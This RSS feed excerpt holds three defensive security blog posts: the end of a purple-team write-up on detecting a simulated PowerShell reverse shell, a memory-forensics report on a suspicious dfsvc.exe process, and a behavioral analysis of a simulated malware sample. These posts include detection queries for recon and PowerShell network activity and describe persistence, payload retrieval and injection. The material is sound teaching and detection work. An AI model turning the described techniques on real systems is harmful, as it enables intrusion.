communication:</p><pre>PowerShell Execution → External Network Connection → Potential Suspicious Activity</pre><h4>Elastic</h4><pre>sequence by host.id with maxspan=60s<br>[process where process.name == &quot;whoami.exe&quot;]<br>[process where process.name == &quot;ipconfig.exe&quot;]<br>[process where process.name == &quot;systeminfo.exe&quot;]</pre><pre>sequence by host.id with maxspan=60s<br>[process where process.name == &quot;powershell.exe&quot;]<br>[network where process.name == &quot;powershell.exe&quot; and destination.ip != &quot;127.0.0.1&quot;]</pre><h4>Splunk</h4><pre>sourcetype=xmlwineventlog process_name IN (&quot;whoami.exe&quot;, &quot;ipconfig.exe&quot;, &quot;systeminfo.exe&quot;)<br>| transaction host maxspan=60s<br>| where mvcount(process_name) == 3</pre><pre>sourcetype=xmlwineventlog process_name=&quot;powershell.exe&quot; EventCode=3 DestinationIp!=127.0.0.1</pre><h4><strong>Rapid Host Reconnaissance</strong></h4><p>The second category focused on the post-compromise discovery commands:</p><pre>whoami.exe → ipconfig.exe → systeminfo.exe</pre><p>None of these commands are malicious in isolation. A system administrator might legitimately run any one of them. The detection opportunity lies in their combination, the timing between them, and the surrounding context, particularly when they follow suspicious PowerShell activity. netstat.exe was also observed during the exercise, reinforcing the same principle: detect behavior and context, not individual commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3klctxA3ULZlRTa-eq3sAQ.png" /></figure><p>These mappings reflect the observed evidence. The presence of a particular command does not automatically confirm a technique — interpretation depends on the full investigative context.</p><h4><strong>What This Exercise Demonstrated</strong></h4><p>The exercise showed that the simulated attack could be fully reconstructed through the correlation of endpoint and network telemetry. The strongest investigative capabilities came from combining process telemetry, PowerShell logging, parent-child process relationships, network telemetry, packet captures, SIEM queries, and behavioral detection logic.</p><p>The investigation followed this progression:</p><pre>Raw Telemetry → Initial Indicator → Process Investigation → Timeline Reconstruction<br>→ Network Correlation → Attack Chain Reconstruction → Detection Development → Defensive Assessment</pre><p>That progression captures what I wanted to demonstrate with this project. Not simply that I can execute an attack, but that I can generate telemetry, investigate it methodically, correlate the evidence, reconstruct what happened, and convert those findings into defensive detections.</p><h4><strong>Limitations</strong></h4><p>This exercise was conducted entirely within a controlled laboratory environment and does not represent a complete real-world incident investigation. The available evidence was not sufficient to determine a real malware family, any persistence mechanisms, actual external C2 infrastructure, or the full objectives of a genuine attacker. All findings should be interpreted within the scope of the simulated environment.</p><h4><strong>Final Takeaway</strong></h4><p>Purple Team Exercise 01 reinforced a principle I think about often in defensive security work:</p><p><em>An attack is rarely explained by a single log entry.</em></p><p>A suspicious network connection led to a process. The process led to PowerShell. Process relationships exposed the execution chain. Network telemetry added context. Wireshark provided packet-level validation. And finally, the observed behavior was translated into detection logic.</p><p>That end-to-end methodology — Detection → Investigation → Correlation → Reconstruction → Detection Engineering — is the approach I am continuing to build across SOC analysis, threat hunting, DFIR, network forensics, and detection engineering.</p><h4><strong>Explore the Project</strong></h4><p>The complete project , including the attack simulation, Blue Team investigation, Elastic and Splunk queries, Wireshark analysis, detection engineering, MITRE ATT&amp;CK mapping, IOCs, and supporting evidence — is available on <a href="https://github.com/0x0allenace/purple-team-simulation-01"><strong>GitHub</strong></a>.</p><p><a href="https://github.com/0x0allenace/purple-team-simulation-01"><strong>Repository</strong></a><strong>:</strong> purple-team-simulation-01</p><h4><strong>Disclaimer</strong></h4><p><em>All attack activity documented in this project was performed within an isolated, authorized laboratory environment for the purposes of cybersecurity education, detection engineering, and incident response practice. The techniques described should not be replicated against any system without explicit authorization</em></p><p>Get the comprehensive analysis on <a href="https://github.com/0x0allenace/purple-team-simulation-01"><strong><em>GitHub</em></strong></a></p><p><strong><em>Contact: </em></strong><a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81029b69b946" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/purple-team-simulation-detecting-and-investigating-a-simulated-powershell-reverse-shell-81029b69b946">Purple Team Simulation: Detecting and Investigating a Simulated PowerShell Reverse Shell</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Forensics Investigation Report]]></title>
            <link>https://allenace.medium.com/memory-forensics-investigation-report-a4487778c1d7?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4487778c1d7</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 09:08:17 GMT</pubDate>
            <atom:updated>2026-08-16T09:09:34.073Z</atom:updated>
            <content:encoded><![CDATA[<p>Memory forensics provides visibility into malicious activity that may not be recoverable through traditional file-system analysis alone. This investigation examined a Windows memory image captured during the execution of a suspected malware sample, with a focus on identifying suspicious process activity, abnormal memory regions, potential process manipulation, modified executable structures, and network artifacts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9a7QisSGGKqkuAqSBQ4kA.png" /></figure><p>The investigation used <strong>Volatility 3</strong> and <strong>MemProcFS</strong> as complementary memory-analysis frameworks, with <strong>Procmon</strong> providing supporting endpoint telemetry.</p><p>The investigation progressively narrowed from system-wide process enumeration to the analysis of dfsvc.exe (PID 5252). Multiple observations increased the investigative priority of this process, including:</p><ul><li>Suspicious PAGE_EXECUTE_READWRITE memory regions identified by Volatility malfind.</li><li>Corresponding suspicious-memory findings in MemProcFS FindEvil.</li><li>A PE_PATCHED indicator associated with the investigated process.</li><li>Loaded networking and cryptographic modules requiring contextual analysis.</li><li>Network artifacts associated with the investigated process.</li><li>Supporting process telemetry linking PID 1188 to malz3.exe.</li></ul><p>No individual artifact was treated as conclusive. The assessment was based on the <strong>correlation of independent observations across memory-analysis frameworks and supporting telemetry</strong>.</p><blockquote><strong>Overall assessment:</strong> The combined evidence is consistent with compromise of dfsvc.exe and possible in-memory execution or process manipulation. Additional endpoint, network, and reverse-engineering evidence would be required to establish the precise injection mechanism and attack chain.</blockquote><h3>Investigation Scope</h3><p>The investigation focused on the following areas:</p><ul><li>Windows process enumeration</li><li>Process ancestry</li><li>Suspicious memory allocation</li><li>Potential code injection</li><li>Executable/writable memory regions</li><li>Loaded DLLs and modules</li><li>PE structure modification</li><li>Network artifacts</li><li>Cross-tool evidence correlation</li><li>IOC identification</li></ul><p>The investigation was not intended to provide a complete reverse-engineering analysis of the suspected malware or reconstruct every activity performed on the endpoint.</p><h3>Evidence and Methodology</h3><p>The primary evidence source was a Windows memory image captured during the suspected malware execution.</p><p>Supporting telemetry was obtained from the associated host investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02pf4yPqHGkuIkQ-XjGLyA.png" /></figure><p>The original memory image was excluded from the repository. Its integrity information is maintained separately through the evidence documentation.</p><p>The investigation followed a progressive workflow:</p><pre>Memory Image<br>     │<br>     ▼<br>Evidence Validation<br>     │<br>     ▼<br>Process Enumeration<br>     │<br>     ▼<br>Process Relationship Analysis<br>     │<br>     ▼<br>Suspicious Memory Detection<br>     │<br>     ▼<br>Target Process Analysis<br>     │<br>     ▼<br>Module Analysis<br>     │<br>     ▼<br>Network Artifact Review<br>     │<br>     ▼<br>Cross-Tool Correlation<br>     │<br>     ▼<br>IOC Identification<br>     │<br>     ▼<br>Analytical Assessment</pre><p>This methodology was designed to avoid treating isolated forensic artifacts as definitive evidence of compromise.</p><h3>Process Investigation</h3><h4>Process Enumeration</h4><p>Volatility 3 windows.pslist was used to establish the process population present within the memory image.</p><p>The analysis considered:</p><ul><li>Process names</li><li>PIDs</li><li>PPIDs</li><li>Process creation information</li><li>Process relationships</li><li>Processes requiring additional investigation</li></ul><p>dfsvc.exe was identified as a process requiring further examination.</p><p>The raw output is preserved as:</p><pre>volatility/pslist.txt</pre><p>The process was subsequently investigated using its PID.</p><h3>Assessment</h3><p>Process enumeration establishes the initial investigative baseline but does not independently demonstrate malicious activity. Additional memory, process, module, and network evidence was therefore required.</p><h3>Process Relationship Analysis</h3><p>Volatility windows.pstree was used to reconstruct process ancestry.</p><p>The investigation identified a PPID associated with the suspicious process. The corresponding parent process was not present in the reconstructed process tree, consistent with the possibility that the parent had terminated before memory acquisition.</p><p>Supporting Procmon telemetry was subsequently reviewed.</p><p>The telemetry associated PID 1188 with:</p><pre>malz3.exe</pre><p>This provided additional context for reconstructing the execution chain.</p><p>Evidence:</p><pre>volatility/pstree.txt</pre><h3>Assessment</h3><p>The absence of a parent process from a memory-derived process tree is not, by itself, evidence of malicious behavior. Correlation with Procmon provided additional context but does not independently establish the complete execution chain.</p><h3>Volatility Malfind</h3><p>Volatility windows.malfind was used to identify process memory regions exhibiting characteristics associated with potentially injected or executable code.</p><p>Suspicious memory regions were identified within:</p><pre>dfsvc.exe</pre><p>Of particular interest were regions with:</p><pre>PAGE_EXECUTE_READWRITE</pre><p>Memory that is simultaneously writable and executable can provide an execution environment for dynamically injected code.</p><p>However, RWX memory is not inherently malicious. Legitimate software can also create executable/writable regions under certain circumstances.</p><h3>Assessment</h3><p>The presence of multiple suspicious executable/writable memory regions increased the priority of dfsvc.exe for further investigation.</p><p>The result was therefore treated as an investigative lead rather than a standalone compromise determination.</p><p>Evidence:</p><pre>volatility/malfind.txt</pre><h3>Target Process Analysis</h3><p>The investigation focused on:</p><pre>Process: dfsvc.exe<br>PID:     5252</pre><p>Additional process information was obtained through Volatility.</p><p>The process was also extracted from memory for potential subsequent malware analysis.</p><p>Example extraction:</p><pre>vol.py -f &lt;memory-image&gt; windows.pslist --pid 5252 --dump</pre><p>Process extraction provides an opportunity to examine executable content recovered from memory and potentially identify differences between the runtime process and its corresponding on-disk representation.</p><h3>Loaded Module Analysis</h3><p>Volatility windows.dlllist was used to examine modules loaded by PID 5252.</p><p>The investigation identified several modules requiring contextual review, including:</p><pre>apphelp.dll<br>rasapi32.dll<br>rasman.dll<br>mswsock.dll<br>winhttp.dll<br>ws2_32.dll<br>bcrypt.dll<br>bcryptPrimitives.dll<br>ncrypt.dll<br>ncryptsslp.dll<br>crypt32.dll<br>dfdll.dll</pre><p>These modules were <strong>not classified as malicious solely because they were present</strong>.</p><p>Several are legitimate Windows or .NET components associated with:</p><ul><li>Networking</li><li>Cryptography</li><li>Application compatibility</li><li>Remote access functionality</li><li>ClickOnce/.NET functionality</li></ul><p>Their relevance was evaluated in the context of the suspicious memory characteristics already identified within dfsvc.exe.</p><h3>Assessment</h3><p>DLL presence alone is insufficient to establish compromise. The module findings therefore served as supporting context rather than primary evidence.</p><p>Evidence:</p><pre>volatility/dlllist.txt</pre><h3>MemProcFS Corroboration</h3><p>MemProcFS was introduced as an independent analysis framework to provide another representation of the same memory evidence.</p><p>The purpose of the secondary analysis was to determine whether significant observations identified through Volatility could be corroborated independently.</p><p>Relevant artifacts are preserved under:</p><pre>memprocfs/</pre><h3>FindEvil Analysis</h3><p>MemProcFS forensic FindEvil output identified dfsvc.exe within the suspicious-memory findings.</p><p>This was significant because it independently supported the suspicious-memory observation generated by Volatility malfind.</p><p>Evidence:</p><pre>memprocfs/forensic-findevil.txt</pre><p>The correlation can be summarized as:</p><pre>Volatility malfind<br>        │<br>        ▼<br>Suspicious memory in dfsvc.exe<br>        │<br>        ▼<br>MemProcFS FindEvil<br>        │<br>        ▼<br>dfsvc.exe identified again<br>        │<br>        ▼<br>Increased investigative confidence</pre><h3>Assessment</h3><p>Agreement between the two frameworks increased confidence that the suspicious memory characteristics warranted further investigation and were not solely dependent on a single tool’s output.</p><h3>PE Modification Evidence</h3><p>MemProcFS reported a:</p><pre>PE_PATCHED</pre><p>condition associated with the investigated process.</p><p>This indicates that characteristics of the process’s Portable Executable structure differed from the expected PE representation.</p><p>The observation was significant because it occurred alongside the previously identified suspicious memory regions.</p><p>However, the finding does not independently establish the mechanism responsible for the modification.</p><p>Possible mechanisms would require additional evidence to distinguish between:</p><ul><li>Process injection</li><li>Runtime patching</li><li>Malware execution</li><li>Other forms of memory modification</li></ul><h3>Assessment</h3><p>The PE_PATCHED finding strengthened the overall suspicion surrounding dfsvc.exe, but was not treated as definitive evidence of a specific injection technique.</p><h3>MemProcFS Process Analysis</h3><p>The MemProcFS process artifacts were compared against the Volatility process-tree output.</p><p>Evidence:</p><pre>memprocfs/process-tree.txt<br>volatility/pstree.txt</pre><p>The comparison provided an additional perspective on process relationships and helped validate the broader process-analysis findings.</p><h3>Network Artifact Investigation</h3><p>Network artifacts were examined through MemProcFS to determine whether the memory image preserved evidence of network activity associated with the investigated process.</p><p>Evidence:</p><pre>memprocfs/netstat.txt</pre><p>The analysis considered:</p><ul><li>Local addresses</li><li>Remote addresses</li><li>Ports</li><li>Process associations</li><li>Listening states</li><li>Connection states</li></ul><p>A network artifact represented as:</p><pre>0.0.0.0:0</pre><p>was identified as requiring further investigation.</p><p>This observation was <strong>not treated as standalone proof of command-and-control communication</strong>.</p><p>Potential explanations considered during the investigation included:</p><ul><li>Backdoor functionality</li><li>C2-related behavior</li><li>Proxy/tunneling functionality</li><li>Other process networking behavior</li></ul><h3>Assessment</h3><p>The network artifact increased the investigative significance of dfsvc.exe, particularly when considered alongside the suspicious memory and PE modification findings.</p><p>Additional DNS, firewall, proxy, packet-capture, or EDR telemetry would be required to establish successful external communication.</p><h3>Evidence Correlation</h3><p>The investigation relied on <strong>correlation rather than isolated indicators</strong>.</p><p>The primary evidence chain was:</p><pre>dfsvc.exe<br>   │<br>   ├── PID 5252<br>   │<br>   ├── Suspicious RWX memory<br>   │<br>   ├── Volatility malfind detection<br>   │<br>   ├── MemProcFS FindEvil detection<br>   │<br>   ├── PE_PATCHED indicator<br>   │<br>   ├── Network-related modules<br>   │<br>   └── Network artifact requiring investigation</pre><p>Supporting process telemetry provided additional context regarding process ancestry.</p><p>The convergence of these observations increased confidence that dfsvc.exe represented a high-priority investigative target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6l-7ELpAreXJYBMQr7Ac6g.png" /></figure><h4>Finding 1 — Suspicious Memory</h4><p>dfsvc.exe contained memory regions exhibiting characteristics associated with potentially injected or dynamically executed code.</p><h4>Finding 2 — Independent Corroboration</h4><p>The suspicious process was identified by both Volatility and MemProcFS.</p><h4>Finding 3 — PE Modification</h4><p>MemProcFS reported a PE_PATCHED condition associated with the investigated process.</p><h4>Finding 4 — Network Activity</h4><p>Network artifacts associated with the investigation warranted additional examination but were insufficient to conclusively establish C2 communication.</p><h3>IOC Handling</h3><p>Potential indicators identified during the investigation are maintained separately from the narrative report.</p><h4>Host IOCs</h4><pre>iocs/host-iocs.csv</pre><p>Potential categories include:</p><ul><li>Process names</li><li>PIDs</li><li>File paths</li><li>Hashes</li><li>Relevant DLLs</li><li>Registry artifacts</li></ul><h3>Network IOCs</h3><pre>iocs/network-iocs.csv</pre><p>Potential categories include:</p><ul><li>IP addresses</li><li>Domains</li><li>Ports</li><li>Network connections</li><li>Other network artifacts recovered from memory</li></ul><p>Only evidence-supported artifacts should be promoted to confirmed IOCs.</p><h3>MITRE ATT&amp;CK Considerations</h3><p>The observed behavior warrants consideration of:</p><p><strong>T1055 — Process Injection</strong></p><p>The available evidence is consistent with process manipulation or in-memory execution; however, the precise injection mechanism was not established.</p><p>The investigation therefore does <strong>not</strong> assign a more specific process-injection sub-technique without additional supporting evidence.</p><p>Further reverse engineering and endpoint telemetry would be required before mapping techniques such as Process Hollowing or other specific injection mechanisms.</p><h3>Blue Team Detection Opportunities</h3><p>The investigation highlights several defensive opportunities.</p><h3>Endpoint Detection</h3><p>Security monitoring should prioritize:</p><ul><li>RWX memory allocations in unusual processes</li><li>Executable memory inconsistent with expected process behavior</li><li>PE modification indicators</li><li>Abnormal process ancestry</li><li>Unexpected network activity from normally non-network-facing processes</li></ul><h3>Memory Forensics</h3><p>Memory acquisition should be considered when:</p><ul><li>Malware is suspected but disk artifacts are inconclusive</li><li>Process injection is suspected</li><li>Fileless execution is suspected</li><li>EDR telemetry indicates suspicious process behavior</li><li>Network activity cannot be adequately explained by available endpoint artifacts</li></ul><h3>Threat Hunting</h3><p>The investigation can support hunting hypotheses around:</p><pre>Unusual process → executable/writable memory<br>                    ↓<br>             PE modification<br>                    ↓<br>            suspicious network activity</pre><p>These conditions can be used to guide retrospective searches across EDR, Sysmon, network, and memory-forensics telemetry.</p><h3>Limitations</h3><p>The following limitations apply to the investigation:</p><ol><li>Analysis was performed against a captured memory image rather than a live endpoint.</li><li>Some processes may have terminated before acquisition.</li><li>Memory artifacts do not necessarily preserve the complete execution history.</li><li>Network artifacts recovered from memory do not independently establish successful external communication.</li><li>Legitimate Windows DLLs may appear in suspicious processes.</li><li>RWX memory regions are suspicious but are not inherently malicious.</li><li>Additional endpoint, network, and reverse-engineering evidence would be required to reconstruct the complete attack chain.</li></ol><p>These limitations were considered when assigning confidence to the findings.</p><h3>Analyst Assessment</h3><p>Based on the available evidence, dfsvc.exe should be treated as a <strong>high-priority suspicious process</strong> within the investigated execution environment.</p><p>The strongest evidence is the convergence of:</p><ul><li>Suspicious executable/writable memory regions</li><li>Volatility malfind detection</li><li>MemProcFS FindEvil detection</li><li>PE_PATCHED evidence</li><li>Supporting process telemetry</li><li>Network artifacts requiring further investigation</li></ul><p>No individual artifact was treated as conclusive.</p><p>The assessment instead reflects the correlation of multiple observations generated from the same memory image and supporting telemetry.</p><blockquote><strong>Overall Assessment:</strong> The evidence is consistent with compromise of dfsvc.exe and potential in-memory execution or process manipulation. The available evidence does not establish the exact injection mechanism, malware family, persistence mechanism, or external infrastructure.</blockquote><h3>Recommended Next Steps</h3><p>If this investigation were part of a live incident-response engagement, recommended actions would include:</p><ol><li>Isolate the affected endpoint if compromise is confirmed.</li><li>Preserve the original forensic image and evidence metadata.</li><li>Hash and preserve extracted process artifacts.</li><li>Perform static analysis of the extracted process.</li><li>Perform controlled dynamic analysis in an isolated malware-analysis environment.</li><li>Review EDR telemetry for process injection and memory allocation events.</li><li>Investigate DNS, proxy, firewall, and network telemetry.</li><li>Search the environment for related processes, files, hashes, and paths.</li><li>Hunt for associated network indicators.</li><li>Investigate potential persistence mechanisms.</li><li>Determine the initial execution vector.</li><li>Document confirmed IOCs for detection and containment.</li></ol><h3>Evidence Inventory</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_22mEuQSIX-XjDl_aDpwg.png" /></figure><h3>Conclusion</h3><p>This investigation demonstrates the value of memory forensics as an investigative layer within modern Blue Team and incident-response operations.</p><p>The investigation progressed from broad process enumeration to targeted analysis of dfsvc.exe, followed by suspicious-memory detection, module analysis, independent MemProcFS validation, and network artifact review.</p><p>The key lesson was the value of <strong>evidence correlation</strong>.</p><pre>Suspicious Process<br>       │<br>       ▼<br>RWX Memory<br>       │<br>       ▼<br>Malfind Detection<br>       │<br>       ▼<br>MemProcFS FindEvil<br>       │<br>       ▼<br>PE Modification<br>       │<br>       ▼<br>Network Artifact<br>       │<br>       ▼<br>Correlated Suspicion</pre><p>Rather than relying on a single forensic indicator, the investigation combined multiple observations to increase analytical confidence.</p><p>This evidence-driven approach reflects a practical Blue Team methodology:</p><p><strong>Identify → Validate → Correlate → Assess → Respond</strong></p><p>Memory forensics is therefore particularly valuable when conventional file-based analysis or endpoint telemetry does not provide sufficient visibility into potentially malicious execution.</p><p>Get the comprehensive analysis on <a href="https://github.com/0x0allenace/memory-forensics-investigation">GitHub</a></p><p><strong><em>Contact: </em></strong><a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4487778c1d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Behavioral Malware Analysis: Investigating a Multi-Stage Malware Sample Inside an Isolated Lab]]></title>
            <link>https://infosecwriteups.com/behavioral-malware-analysis-investigating-a-multi-stage-malware-sample-inside-an-isolated-lab-fba44d152d5b?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/fba44d152d5b</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 18:18:02 GMT</pubDate>
            <atom:updated>2026-08-17T20:41:07.900Z</atom:updated>
            <content:encoded><![CDATA[<p>How I investigated persistence, C2 communications, process injection, and data exfiltration using FLARE-VM, REMnux, Sysmon, Procmon, Wireshark, and MITRE ATT&amp;CK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c043O-HthqysNPXMgUJhOQ.png" /></figure><p>Static analysis provides a valuable starting point, but it rarely tells the complete story of what a piece of malware is truly capable of.</p><p>Modern malware is designed to reveal its most dangerous behaviors only at runtime, establishing persistence, communicating with attacker-controlled infrastructure, fetching additional payloads, evading defensive controls, and exfiltrating sensitive data. Capturing and understanding these behaviors requires observing the sample as it executes within a controlled and monitored environment.</p><p>To replicate the conditions of a real-world investigation, I constructed an isolated behavioral analysis laboratory using <strong>FLARE-VM</strong> and <strong>REMnux</strong>, and subjected a simulated multi-stage malware sample — walkthrough.exe — to a structured dynamic analysis workflow.</p><p>Rather than treating this as a tool demonstration, the investigation follows the same evidence-driven methodology used by malware analysts, DFIR investigators, and SOC teams in operational settings: collecting telemetry across multiple sources, correlating findings, extracting Indicators of Compromise (IOCs), mapping observed behaviors to the <strong>MITRE ATT&amp;CK</strong> framework, and translating those observations into actionable detection opportunities.</p><p>This article documents the investigation from initial execution through to final detection engineering.</p><h3>Why Behavioral Analysis Matters</h3><p>Static analysis answers questions like:</p><ul><li>What functions exist?</li><li>Which strings are embedded?</li><li>Is the binary packed?</li></ul><p><strong>Behavioral </strong>analysis answers a different set of questions:</p><ul><li>How does the malware execute?</li><li>Does it establish persistence?</li><li>Does it communicate externally?</li><li>Does it retrieve additional payloads?</li><li>Does it inject into legitimate processes?</li><li>What indicators can defenders use to detect it?</li></ul><p>These questions are often the difference between identifying a malicious file and understanding an active compromise.</p><h3>Building the Investigation Lab</h3><p>Before executing any malware, a safe and isolated environment is essential.</p><p>The laboratory consisted of two virtual machines:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*sFpGa1re_UIJuA_Jjh0GvQ.png" /><figcaption>Figure 1. Malware analysis laboratory consisting of FLARE-VM and REMnux connected through a Host-Only network.</figcaption></figure><p>Communication occurred exclusively over a Host-Only VirtualBox network, ensuring the malware could not reach the public Internet.</p><p>Instead of allowing outbound connections, INetSim simulated Internet services while FakeDNS redirected all DNS requests to REMnux.</p><p>This configuration allowed the malware to behave naturally without exposing external systems.</p><h3>Investigation Methodology</h3><p>Rather than focusing on individual tools, I treated this analysis as a complete investigation.</p><p>Each observation had to answer an investigative question:</p><p>1. What happened?</p><p>2. Which tool observed it?</p><p>3. What evidence supports the finding?</p><p>4. What does it mean?</p><p>5. Can defenders detect it?</p><p>This methodology reduced assumptions and ensured every conclusion was supported by evidence collected during execution.</p><h3>Stage 1: Initial Execution</h3><p>The sample executed successfully inside FLARE-VM.</p><p>Immediately after execution, new child processes appeared, indicating that the malware had begun interacting with the operating system.</p><p>Process Explorer provided the first view of the execution chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*ROFYiv72jlKds4RGWuMiGg.png" /><figcaption>Figure 2. Process tree captured immediately after execution.</figcaption></figure><h3>Stage 2: Registry Persistence</h3><p>The next question was whether the malware could survive a reboot.</p><p>Using Procmon, registry modifications were filtered to display only <strong>RegSetValue</strong> operations.</p><p>This quickly revealed creation of a Run key:</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\FakeMalware</pre><p>Rather than relying on one tool, the finding was validated using:</p><ul><li>Procmon</li><li>Sysmon Event ID 13</li><li>Autoruns</li><li>Regshot</li></ul><p><strong>Four</strong> independent sources confirmed the persistence mechanism.</p><p>This illustrates why evidence correlation is more valuable than trusting a single artifact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pL3Tp8UldLuNTVZVHXI5eQ.png" /><figcaption>Figure 3. Registry value creation observed in Procmon.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAZ7-gentn2hbmafNZrHVQ.png" /><figcaption>Figure 4. Sysmon confirming registry modification.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTVAqsfPTkZ4Gut6UEt8Zw.png" /><figcaption>Figure 5. Autoruns identifying the startup entry.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-5hRlhq6BIyJfio32o1Ag.png" /><figcaption>Figure 6. Regshot highlighting registry differences before and after execution.</figcaption></figure><h3>Stage 3: Command-and-Control Communication</h3><p>Once persistence was established, attention shifted to network behavior.</p><p>FakeDNS recorded multiple DNS requests generated by the sample, while Wireshark captured outbound HTTP traffic redirected to REMnux.</p><p>Although the infrastructure was simulated, the observed behavior closely resembled real command-and-control beaconing.</p><p>The malware attempted to:</p><ul><li>Resolve dynamically generated domains</li><li>Establish outbound HTTP sessions</li><li>Retrieve additional resources</li><li>Transmit collected information</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04gCI8suOnE7MJFFMMytAg.png" /><figcaption>Figure 7. DNS requests redirected to REMnux.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fgk1uvLkb0eJ45T0Axca6g.png" /><figcaption>Figure 8. HTTP beaconing observed during execution.</figcaption></figure><h3>Stage 4: Secondary Payload Retrieval</h3><p>One of the most interesting observations occurred when the malware requested an encrypted payload.</p><p>Wireshark showed:</p><pre>GET /payload.exe</pre><p>The payload was extracted directly from the packet capture.</p><p>Although simulated, this accurately represents how analysts recover downloaded malware for additional analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RC9-w54OM11uYZPkrrY8rQ.png" /><figcaption>Figure 9. Retrieval of an encrypted second-stage payload.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IidP04V-o4uwSJSZaPPQ-w.png" /><figcaption>Figure 10. Retrieval of a second-stage payload.</figcaption></figure><h3>Stage 5: Process Injection</h3><p>Many modern malware families inject into legitimate processes to evade detection.</p><p>API Monitor identified API activity associated with process injection, while Process Explorer showed the target process.</p><p>The malware injected into <strong>Notepad.exe</strong>, allowing malicious code to execute under the context of a trusted Windows process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-ZVGTvaAo62d8puhggthA.png" /><figcaption>Figure 11. API activity associated with process injection.</figcaption></figure><h3>Stage 6: Data Exfiltration</h3><p>Finally, Wireshark captured outbound HTTP POST requests consistent with simulated data exfiltration.</p><p>Rather than viewing this as an isolated network event, the evidence was correlated with the earlier execution chain to reconstruct the complete attack lifecycle:</p><pre>Execution<br>↓<br>Persistence<br>↓<br>Command-and-Control<br>↓<br>Payload Retrieval<br>↓<br>Process Injection<br>↓<br>Data Exfiltration</pre><p>This chronological reconstruction mirrors how malware investigations are conducted in enterprise DFIR engagements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uaq3k0Icq3Yztkk1IlErJg.png" /><figcaption>Figure 12. Simulated outbound data exfiltration.</figcaption></figure><h3>Mapping the Investigation to MITRE ATT&amp;CK</h3><p>One of the goals of behavioral analysis is translating observations into standardized adversary techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lCLtKAgUTqQw68ddR7-o9A.png" /><figcaption>Figure13. Mapping the Investigation to MITRE ATT&amp;CK</figcaption></figure><p>Using MITRE ATT&amp;CK helps defenders communicate findings consistently across SOC, DFIR, and threat hunting teams.</p><h3>From Investigation to Detection Engineering</h3><p>An investigation has limited value if the findings cannot be operationalized.</p><p>Using the collected evidence, I developed detection content including:</p><ul><li>Sigma rules</li><li>Splunk SPL searches</li><li>Microsoft Sentinel KQL queries</li><li>YARA rules</li></ul><p>These detections enable defenders to identify similar behaviors in production environments rather than relying on file hashes alone.</p><h3>Conclusion</h3><p>Behavioral malware analysis extends far beyond observing a malicious executable. It is a disciplined investigative process that combines host telemetry, network captures, forensic artifacts, and threat intelligence to reconstruct an attacker’s actions with confidence.</p><p>In this investigation, <strong>walkthrough.exe</strong> demonstrated a complete multi-stage execution chain involving registry-based persistence, command-and-control communication, secondary payload retrieval, process injection, and simulated data exfiltration. By correlating evidence across Procmon, Sysmon, Wireshark, Autoruns, Regshot, Process Explorer, and API Monitor, the investigation produced validated indicators of compromise, MITRE ATT&amp;CK mappings, and practical detection opportunities.</p><p>This project reflects the investigative workflow used by modern SOC, DFIR, and malware analysis teams, where the goal is not only to understand malicious behavior but also to convert those findings into actionable detections that strengthen defensive capabilities.</p><blockquote><strong>GitHub Repository</strong></blockquote><blockquote><strong>The complete investigation, evidence, detection rules, IOC datasets, and documentation are available on GitHub.</strong></blockquote><blockquote>⭐ If you find the project useful, consider starring the repository and sharing your feedback.</blockquote><blockquote>Repository: <a href="https://github.com/0x0allenace/windows-malware-behavioral-analysis"><strong>GitHub</strong></a></blockquote><p><strong><em>Contact: </em></strong><a 